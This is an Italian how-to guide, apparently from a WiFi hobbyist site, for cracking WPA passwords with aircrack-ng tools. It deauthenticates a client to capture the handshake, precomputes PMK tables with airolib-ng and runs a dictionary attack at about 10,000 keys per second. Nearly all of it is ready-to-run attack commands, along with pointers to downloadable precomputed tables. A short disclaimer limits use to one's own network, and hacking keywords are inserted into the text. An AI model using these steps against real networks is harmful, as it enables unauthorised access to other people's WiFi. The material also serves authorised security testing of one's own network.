Normalmente nella ricerca di una WPA key da dizionario si ha una velocità di circa 50-100 key/s. E' possibile aumentare questa velocità a circa 10.000 key/s precompilando una tabella con l'ESSID e le password.

INTENDIAMO RICORDARE CHE ENTRARE IN UNA RETE WiFi PROTETTA E' UN REATO PRESEGUIBILE A TERMINI DI LEGGE, RAGION PER CUI QUESTA GUIDA E' DA RIFERIRSI A UNA PROVA SULLA PROPRIA RETE.

AL FINE DI GIUDICARNE LA SICUREZZA. WIFI-ITA.COM E GLI AMMINISTRATORI NON POTRANNO ESSERE RITENUTI RESPONSABILI DI EVENTUALI VIOLAZIONI EFFETTUANDO UN USO ERRATO DI QUESTA GUIDA.
Vedere la NORMATIVA sul Wireless.

Iniziamo:

Catturiamo un handshake a 4 vie in file.cap con la solita tecnica della deautenticazione

airodump-ng -c <canale> -b <bssid> -w <file.cap> <interfaccia>
aireplay-ng -0 1 -a <bssid> -c <client_mac_address> <interfaccia>

Controlliamo e altrimenti installiamo le ultime versioni aggiornate di SQLite e aircrack necessarie per il correto funzionamento di airolib-ng:

http://www.sqlite.org/download.html

svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng
cd aircrack-ng
gmake SQLITE=true
gmake SQLITE=true instal

Se avete problemi scaricate l'Aircrack developmental version

airolib-ng testdb init

crea un nuovo database chiamato testdb
wardriving, hacking, sniffer, hack wifi, stumbler
creo un file di testo ssidlist.txt con l'ESSID della rete (una riga per ogni ESSID nel caso voglio usare lo stesso database per più di una rete)

airolib-ng testdb import ascii essid ssidlist.txt
o
airolib-ng testdb --import essid ssidlist.txt

dove testdb è il database creato in precedenza

airolib-ng testdb import ascii passwd password.lst
o
airolib-ng testdb --import passwd password.lst

dove password.lst è il tuo dizionario

airolib-ng testdb clean all
o
airolib-ng testdb --clean all

pulisce il database, controlla l'integrità evitando possibili errori

airolib-ng testdb batch
o
airolib-ng testdb --batch

crea il database combinando essid e password
questa fase può durare abbastanza in base alla grandezza del dizionario
se dopo la scritta "No free ESSID found" il programma non dovesse terminare premere crtl+c

airolib-ng testdb verify all
o
airolib-ng testdb --verify all

verifica tutte le PMK nel database ed elimina le incorrette

aircrack-ng -r testdb file.cap

Effettua il confronto delle password a circa 10.000 key/s

Facilmente su internet è possibile trovare database già compilati con i top1000 ESSID più frequentemente usati (WLAN, default, home, casa, network, etc...) i più famosi sono da
7 Gb (172.000 words X 1000 SSID)
33Gb (1.000.000 words X 1000 SSID)

http://www.wigle.net/gps/gps//Stat
http://www.renderlab.net/projects/WPA-tables/

Si ringrazia Miklee per aver fornito questa ottima guida